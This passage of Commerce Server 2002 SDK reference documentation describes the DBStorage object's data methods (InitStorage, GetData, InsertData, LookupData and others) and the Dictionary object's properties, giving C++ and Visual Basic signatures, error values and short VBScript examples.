[Visual Basic]
Sub DeleteDataKey(
 vtReserved As Variant,
 vtKey As Variant
)

Parameters

vtReserved [C++]
[in] This parameter is reserved for future use and is ignored by the current implementation of the DeleteDataKey method. This parameter is required for compatibility with Site Server 3.0 Commerce Edition, but is not used.
vtReserved [Visual Basic]
This parameter is reserved for future use and is ignored by the current implementation of the DeleteDataKey method. This parameter is required for compatibility with Site Server 3.0 Commerce Edition, but is not used.
vtKey [C++]
[in] A VARIANT that contains the key value for the row to delete. This key corresponds to the column designated as the table key in the initial call to the InitStorage method. Thus, if the call to the InitStorage method specifies column "some_column" as the table key, then the DeleteDataKey method searches "some_column" for the value stored in the vtKey parameter, and deletes the corresponding row of data.
vtKey [Visual Basic]
A Variant that contains the key value for the row to delete. This key corresponds to the column designated as the table key in the initial call to the InitStorage method. Thus, if the call to the InitStorage method specifies column "some_column" as the table key, then the DeleteDataKey method searches "some_column" for the value stored in the vtKey parameter, and deletes the corresponding row of data.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The DeleteDataKey method differs from the DeleteData method in that the DeleteDataKey requires only the value stored in the key column of the underlying table. This is the column specified as the key to the underlying table through a previous call to the InitStorage method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.shopper_id = "Shopper_tmp"
OrderFormStorage.DeleteDataKey(Null, "1234567890WSXCDERFVBGTRESWER")

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::DeleteData

[C++] IMSCSDBStorage_3_0::InsertData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.DeleteData

[Visual Basic] DBStorage.InsertData


IMSCSDBStorage_3_0::GetData Method [C++]

DBStorage.GetData Method [Visual Basic]

Use this method to retrieve a row of data from the database, based on the specified key value. If the data is found, this method creates and returns an OrderForm or Dictionary object containing the requested data.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::GetData(
 VARIANT vtReserved,
 VARIANT vtKey,
 VARIANT* pvtRet
);
[Visual Basic]
Function GetData(
 vtReserved As Variant,
 vtKey As Variant
) As Variant

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. The GetData method ignores any value stored in this parameter.
vtReserved [Visual Basic]
A Variant reserved for future use. The GetData method ignores any value stored in this parameter.
vtKey [C++]
[in] A VARIANT that contains the key value on which to base the search. The GetData method searches for this value in the table column specified as the table key in the initial call to the InitStorage method.
vtKey [Visual Basic]
A Variant that contains the key value on which to base the search. The GetData method searches for this value in the table column specified as the table key in the initial call to the InitStorage method.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return a Dictionary or OrderForm object used to return the retrieved row.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, a Variant containing a Dictionary or OrderForm object that contains the retrieved row is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completes successfully.

[C++] For performance reasons, the GetData method is preferred over the LookupData method when the column being searched is the key.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object; vtVar is a Variant

Order.order_id = "Order_tmp"
VtVar = OrderFormStorage.GetData(Null, Order.order_id)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::LookupData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.LookupData


IMSCSDBStorage_3_0::InitStorage Method [C++]

DBStorage.InitStorage Method [Visual Basic]

Use this method to initialize the DBStorage object. You must call this method immediately after object creation and before calling any other object methods. Attempting to call any other method prior to calling the InitStorage method results in an error.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::InitStorage(
 VARIANT vtDataSourceOrDSN,
 BSTR Table,
 BSTR bstrKey,
 VARIANT vtProgID,
 VARIANT vtMarshal,
 VARIANT vtChanged
);
[Visual Basic]
Sub InitStorage(
 vtDataSourceOrDSN As Variant,
 Table As String,
 bstrKey As String,
 vtProgID As Variant,
 vtMarshal As Variant,
 vtChanged As Variant
)

Parameters

vtDataSourceOrDSN [C++]
[in] A VARIANT which references a valid IDispatch pointer on a DataSource object, or which references a data source name (DSN).
vtDataSourceOrDSN [Visual Basic]
A Variant that contains a valid object reference to a DataSource object, or data source name (DSN).
Table [C++]
[in] A BSTR that contains the name of the table within the data source in which to maintain the data.
Table [Visual Basic]
A String that contains the name of the table within the data source in which to maintain the data.
bstrKey [C++]
[in] A BSTR that contains the column name that the DBStorage object uses as a key into the database table. This column should be marked to contain unique values.
bstrKey [Visual Basic]
A String that contains the column name that the DBStorage object uses as a key into the database table. This column should be marked to contain unique values.
vtProgID [C++]
[in] A VARIANT that contains the ProgID of the object in which data passed to or retrieved by DBStorage methods will be stored. This parameter can be Commerce.Dictionary for storing Dictionary objects or Commerce.OrderForm for storing OrderForm objects. Methods (such as GetData) that return data from the database create an instance of the specified class with the requested data stored within it.
vtProgID [Visual Basic]
A Variant that contains the ProgID of the object in which data passed to or retrieved by DBStorage methods will be stored. This parameter can be Commerce.Dictionary for storing Dictionary objects or Commerce.OrderForm for storing OrderForm objects. Methods (such as GetData) that return data from the database create an instance of the specified class with the requested data stored within it.
vtMarshal [C++]
[in] A VARIANT that contains the text string that, if specified, indicates the name of a column in the database into which the CommitData or InsertData method will store all the data from the specified data object, serialized into an encoded binary format. (Objects in the stored item that have corresponding column names in the database are also stored in those columns in the database.) If this argument is specified, the database must contain a column by that name, or an error will result. If this argument is not specified, then no data from the object is serialized and saved in the database in binary format, and items in the object that do not have corresponding columns in the database are discarded. When using a Microsoft SQL Server database, the maximum size of the data in this column is the same as the maximum size for the SQL Server text/image data type (2,147,483,647 bytes).
vtMarshal [Visual Basic]
A Variant that contains the text string that, if specified, indicates the name of a column in the database into which the CommitData or InsertData method will store all the data from the specified data object, serialized into an encoded binary format. (Objects in the stored item that have corresponding column names in the database are also stored in those columns in the database.) If this argument is specified, the database must contain a column by that name, or an error will result. If this argument is not specified, then no data from the object is serialized and saved in the database in binary format, and items in the object that do not have corresponding columns in the database are discarded. When using a Microsoft SQL Server database, the maximum size of the data in this column is the same as the maximum size for the SQL Server text/image data type (2,147,483,647 bytes).
vtChanged [C++]
[in] A VARIANT that contains the name of a key or attribute in the database into which to write the date when the data is changed. (If you do not specify a column name that exists in the database, the change date will be included in the marshaled data.)
vtChanged [Visual Basic]
A Variant that contains the name of a key or attribute in the database into which to write the date when the data is changed. (If you do not specify a column name that exists in the database, the change date will be included in the marshaled data.)

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' strDSN is the data source connection string; OrderFormStorage
' is an uninitialized Commerce.DBStorage object; "Site_basket"
' is the name of the table in the referenced data source;
' "shopper_id" is the primary key in the "Site_basket" table;
' "marshalled_order" is the name of the column for this DBStorage
' object instance to use for marshaling data; "date_changed"
' is the name of the database column that contains the date
' of the most recent change
' This sample initializes OrderFormStorage as an OrderForm storage object:

OrderFormStorage.InitStorage(strDSN, "Site_basket", "shopper_id", _
    "Commerce.OrderForm", "marshalled_order", "date_changed")

See Also

[C++] DBStorage Object

[Visual Basic] DBStorage Object


IMSCSDBStorage_3_0::InsertData Method [C++]

DBStorage.InsertData Method [Visual Basic]

Use this method to insert the contents of the specified Dictionary object into a database row.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::InsertData(
 VARIANT vtReserved,
 IDispatch* pdispData
);
[Visual Basic]
Sub InsertData(
 vtReserved As Variant,
 pdispData As Object
)

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. This parameter is ignored by the InsertData method.
vtReserved [Visual Basic]
A Variant reserved for future use. This parameter is ignored by the InsertData method.
pdispData [C++]
[in] An IDispatch pointer on the Dictionary object or OrderForm object that contains the data to insert.
pdispData [Visual Basic]
An object reference to the Dictionary object or OrderForm object that contains the data to insert.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The CommitData and InsertData methods can store data from a specified object into the database in two ways.

First, if the InitStorage method specifies a MarshallColumn parameter, then CommitData and InsertData serialize all the data in the object into binary form and store it into the database column specified by this parameter. (If this argument is not supplied, then no data is stored in serialized form.)

Second, if the names of any items in the object exactly match the names of columns in the database, then the data in these items is stored into the corresponding columns. For example, if the order form contains a value called ship_to_name, and if your database table contains a column named ship_to_name, the DBStorage object saves the value in the ship_to_name entry of the order form into that column.

If the MarshallColumn parameter is specified and matching columns exist, then the corresponding data is stored both ways.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.InsertData(Null, Order)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::CommitData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.CommitData


IMSCSDBStorage_3_0::LookupData Method [C++]

DBStorage.LookupData Method [Visual Basic]

Use this method to retrieve a single row from the data source based upon column names and values that you specify. If the data is found, this method creates and returns an OrderForm or Dictionary object (depending on the vtProgID parameter passed to the InitStorage method) containing the requested data.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::LookupData(
 VARIANT vtReserved,
 VARIANT* pvtKeys,
 VARIANT* pvtValues,
 VARIANT* pvtRet
);
[Visual Basic]
Function LookupData(
 vtReserved As Variant,
 pvtKeys As Variant,
 pvtValues As Variant
) As Variant

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. The LookupData method ignores any value stored in this parameter.
vtReserved [Visual Basic]
A Variant reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys [C++]
[in] A pointer to a VARIANT that identifies the columns in which to search for the data. This VARIANT can be either a SimpleList object or a SAFEARRAY.
pvtKeys [Visual Basic]
A Variant that identifies the columns in which to search for the data. This Variant can be either a SimpleList object or an Array.
pvtValues [C++]
[in] A pointer to a VARIANT that identifies the values for which to search. This parameter can be either a SimpleList object or a SAFEARRAY.
pvtValues [Visual Basic]
A Variant that identifies the values for which to search. This parameter can be either a SimpleList object or an Array.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the result of the lookup; this VARIANT references an IDispatch interface pointer on a Dictionary object that contains the row data. If the method call is unsuccessful, this parameter evaluates to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the result of the lookup; this Variant references a Dictionary object that contains the row data.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method returns successfully.

The pvtKeys and pvtValues parameters are arrays that you pass to the LookupData method share in an index-to-index relationship. This means that they must contain an identical number of members and that the value stored in the pvtValues (N) parameter will be searched for in the column specified by the pvtKeys (N) parameter.

If the arrays contain more than one element, the LookupData method searches for a row in which all of the column/value pairs match.

Because the LookupData method returns only a single row of data, specifying column and value information that would result in the retrieval of more than one row results in an error.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' OrderFormStorage is an initialized DBStorage object instance.
' In the following example, the LookupData method searches
' for a row in which both the shopper_id column contains the
' value returned by the shopper_id variable and the shopper_name
' column contains the customer name returned by the Page.Request method:

' Attempt to determine if this shopper is already registered.
shopper_id = Page.GetShopperID

On Error Resume Next
Dim keys(1)
Dim values(1)
keys(0) = "shopper_id"
keys(1) = "shopper_name"
values(0) = shopper_id
values(1) = Page.Request("shopper_name", Null, 1, 60)

exists=NULL
set exists = OrderFormStorage.LookupData(Null, keys, values)
If IsNull(exists) Then
' This shopper id and name does not exist in the specified columns

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::GetData

[C++] IMSCSDBStorage_3_0::LookupMultipleData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.GetData

[Visual Basic] DBStorage.LookupMultipleData


IMSCSDBStorage_3_0::LookupMultipleData Method [C++]

DBStorage.LookupMultipleData Method [Visual Basic]

Use this method to retrieve multiple results from the database table. If the data is found, this method creates a SimpleList object that contains OrderForm or Dictionary objects, depending on the vtProgID parameter passed to the InitStorage method.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::LookupMultipleData(
 VARIANT vtReserved,
 VARIANT* pvtKeys,
 VARIANT* pvtValues,
 VARIANT* pvtRet
);
[Visual Basic]
Function LookupMultipleData(
 vtReserved As Variant,
 pvtKeys As Variant,
 pvtValues As Variant
) As Variant

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. The LookupData method ignores any value stored in this parameter.
vtReserved [Visual Basic]
A Variant reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys [C++]
[in]A pointer to the VARIANT that identifies the columns in which to search for the data. This VARIANT can be either a SimpleList object or a SAFEARRAY.
pvtKeys [Visual Basic]
A Variant that identifies the columns in which to search for the data. This Variant can be either a SimpleList object or an Array.
pvtValues [C++]
[in] A pointer to the VARIANT that identifies the values for which to search. This parameter can be either a SimpleList object or a SAFEARRAY.
pvtValues [Visual Basic]
A Variant that identifies the values for which to search. This parameter can be either a SimpleList object or an Array.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the result of the lookup. This VARIANT references an IDispatch interface on a SimpleList object that consists of one or more Dictionary objects, one for each row of data returned. If the method fails, this parameter is set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that references a SimpleList object that consists of one or more Dictionary objects, one for each row of data returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.InsertData(Null, Order)
OrderFormStorage.LookupMultipleData(Null, Array("order_id"), _
Array("Order_tmp"))

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::GetData

[C++] IMSCSDBStorage_3_0::LookupData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.GetData

[Visual Basic] DBStorage.LookupData


IMSCSDBStorage_3_0::ProcessData Method [C++]

DBStorage.ProcessData Method [Visual Basic]

Use this method to unpack the data stored in the MarshalColumn database column for a given row, and returns the resulting row in a Dictionary object.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::ProcessData(
 IDispatch* pdispData,
 IDispatch** ppdispRet
);
[Visual Basic]
Function ProcessData(
 pdispData As IDispatch
) As Object

Parameters

pdispData [C++]
[in] An IDispatch pointer on a Dictionary object that contains the marshaled data.
pdispData [Visual Basic]
An object reference to a Dictionary object that contains the marshaled data.
ppdispRet [C++]
[out, retval] The address of an IDispatch pointer on a Dictionary object used to return the unmarshaled data.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object that contains the unmarshaled data.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppdispRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dSource is a Dictionary object; OrderFormStorage is
' an initialized Commerce.DBStorage object; dDictionary is a
' Dictionary object which will receive the unmarshaled data

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
dDictionary = OrderFormStorage.ProcessData(dSource)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage


IMSCSDBStorage_3_0 Properties [C++]

DBStorage Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Mapping | IDispatch | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.
[Visual Basic]
Property | Type | Description
Mapping | Object | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.


IMSCSDBStorage_3_0::get_Mapping, put_Mapping Property [C++]

DBStorage.Mapping Property [Visual Basic]

The Mapping property maps a database column to an entry in the OrderForm or Dictionary object that the DBStorage object uses to insert and retrieve data.

Definition

[C++]

Get method:

HRESULT IMSCSDBStorage_3_0::get_Mapping(
 IDispatch** Mapping
);

Put method:

HRESULT IMSCSDBStorage_3_0::put_Mapping(
 IDispatch* Mapping
);
[Visual Basic]
Property Mapping As Object

Parameters

Mapping [C++]
[in] When putting the property, an IDispatch interface that contains the mapping Dictionary that is set for this DBStorage object instance.
[out, retval] When getting the property, an IDispatch interface used to return the mapping Dictionary for this DBStorage object instance.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

A mapping Dictionary object makes it possible to map the column names in a database table to one or more names that you choose, usually for display to the site user. Suppose, for example, that your database table contains a column named "shopper_name", but that you want to display the contents of this column as the more human-readable "Shopper Name". Consequently, you initialize a "shopper_name" key in a Dictionary object to "Shopper Name", and pass this Dictionary object to the put_Mapping method. When you call a DBStorage object data retrieval method, such as GetData, to read a row of data into a Dictionary object, the Dictionary key for the "shopper_name" column reads "Shopper Name". This new mapping means that you do not have to translate the column name to a more human-readable name before displaying its values to the site user. You can simply display the keys and values as they appear in the Dictionary object returned by the GetData method.

The Mapping parameter contains valid data only if the property is accessed successfully.

[Visual Basic]

A mapping Dictionary object makes it possible to map the column names in a database table to one or more names that you choose, usually for display to the site user. Suppose, for example, that your database table contains a column named "shopper_name", but that you want to display the contents of this column as the more human-readable "Shopper Name". Consequently, you initialize a "shopper_name" key in a Dictionary object to "Shopper Name", and use this object to set the Mapping property. When you call a DBStorage object data retrieval method, such as GetData, to read a row of data into a Dictionary object, the Dictionary key for the "shopper_name" column reads "Shopper Name". This new mapping means that you do not have to translate the column name to a more human-readable name before displaying its values to the site user. You can simply display the keys and values as they appear in the Dictionary object returned by the GetData method.

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage


Dictionary Object [C++]

Dictionary Object [Visual Basic]

Use this object to support the creation, storage, and retrieval of name/value pairs in memory. Every value in a Dictionary object is a Variant, which means you can create a Dictionary object that consists of almost any kind of value (including other Dictionary objects), and that you can store any combination of Variant types in the same Dictionary object.

ProgID: | Commerce.Dictionary (Externally creatable)
COM Class Name: | CDictionary
Type Library Name: | Microsoft Commerce 2002 Core Components Type Library
DLL Name: | MscsCore.dll
Threading Model: | Both
[C++]
COM Interface Name: | IDictionary
Interface ID Constant: | IID_IDictionary
Header File: | commerce.h, mspu_guids.h
[C++]

In C++, use the IDictionary interface to access the properties and methods of the Dictionary object.

Properties

[C++]
Property | Type | Description
Count | long | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | BSTR | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | VARIANT | Stores the value of a given Dictionary key. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | String | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | Variant | Stores the value of a given Dictionary key. This property is read/write.

Remarks

Because a Dictionary object is designed to be a general-purpose collection, you can use it for almost anything that its internal structure supports.

When you need to create a Dictionary object explicitly (that is, when the object is not created for you by some other Commerce Server 2002 object), use the CreateObject method of the Active Server Pages (ASP) Server object, as follows:

Set dictUser = Server.CreateObject("Commerce.Dictionary")

After creating the object, you can add elements to it, as follows:

dictUser.first_name = "Steve"

In this example, first_name is a Dictionary key, and Steve becomes the assigned value of this key. Each statement actually accomplishes three functions: declaring the Dictionary key, adding that key to the Dictionary object, and setting the key to a value.

You can extract values from a Dictionary object in several ways. You can simply place the object.key identifier on the right side of the assignment statement. Such an assignment returns the value of the referenced key:

my_first_name = dictUser.first_name

Or you can use the Value method to get the value of a given key:

my_first_name = dictUser.Value("first_name")

You can also use the For Each statement in Microsoft Visual Basic Scripting Edition (VBScript) to enumerate through the keys or the values of a Dictionary object as follows (this example assumes that every value in the dictionary contains text):

' Get the key names
For Each element In dictUser
    Response.Write element
Next

' Get the values
For Each element In dictUser
    Response.Write dictUser.Value(element)
Next

The data in a Dictionary object can be saved in a database table by using the DBStorage object.

Commerce Server 2002 sites use implementations of the Dictionary object to store sets of data that are required by various other objects and pipeline components.

Unlike previous versions of the dictionary, the dictionary in Commerce Server 2002 is implemented as a hash of name value pairs. This enables the dictionary to perform fast lookups even when a large number of key/value pairs are stored. It also has the side effect that enumerations of dictionary keys may not be returned in the same order they are stored.

The dictionary object aggregates the Free Threaded Marshaller (FTM) for performance reasons (so that calls to the dictionary will never go through a proxy, no matter what COM apartment it is called from). Because of this, you may not store a reference to an apartment-threaded object in a dictionary. Doing so may result in errors such as RPC_E_WRONGTHREAD when the object pointer is retrieved and used.

The Dictionary object supports the ICloneable and IPersistXML interfaces. Use the ICloneable interface to deep copy all name/value pairs into a new dictionary. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again.

See Also

General Purpose Objects

IPersistXML Interface

[C++] SimpleList Object

[Visual Basic] SimpleList Object


IDctionary Properties [C++]

Dictionary Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Count | long | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | BSTR | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | VARIANT | Stores the value of a given Dictionary key. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | String | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | Variant | Stores the value of a given Dictionary key. This property is read/write.


IDictionary::get_Count Property [C++]

Dictionary.Count Property [Visual Basic]

The Count property is a read-only Long that contains the number of elements in the Dictionary object instance.

Definition

[C++]
HRESULT IDictionary::get_Count(
 long* Count
);
[Visual Basic]
Property Count As Long

Parameters

Count [C++]
[out, retval] A pointer to a long in which the get_Count method stores the number of elements in the Dictionary object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Count parameter points to valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Dictionary Object

[Visual Basic] Dictionary Object


IDictionary::get_Prefix, put_Prefix Property [C++]

Dictionary.Prefix Property [Visual Basic]

The Prefix property is a read/write String that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. By default, the prefix is "_", so that any keywords beginning with an underscore character are excluded.

Definition

[C++]

Get method:

HRESULT IDictionary::get_Prefix(
 BSTR* Prefix
);

Put method:

HRESULT IDictionary::put_Prefix(
 BSTR Prefix
);
[Visual Basic]
Property Prefix As String

Parameters

Prefix [C++]
[in] When putting the property, a BSTR that contains the prefix.
[out, retval] When getting the property, a pointer to the BSTR that contains the prefix.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Prefix parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

By default, the prefix is "_", so that any keywords beginning with an underscore character are excluded.

The pipeline component that saves receipts usually sets the prefix to "_cc_", so that all credit-card information is not saved in the database. The actual string used by the pipeline component is configurable.

See Also

[C++] Dictionary Object

[Visual Basic] Dictionary Object


IDictionary::get_Value, put_Value Property [C++]

Dictionary.Value Property [Visual Basic]

The Value property allows you to get or set a name/value pair in the Dictionary.

Definition

[C++]

Get method:

HRESULT IDictionary::get_Value(
 BSTR bstrName,
 VARIANT* Value
);

Put method:

HRESULT IDictionary::put_Value(
 BSTR bstrName,
 VARIANT Value
);

Putref method:

HRESULT IDictionary::putref_Value(
 BSTR bstrName,
 VARIANT Value
);
[Visual Basic]
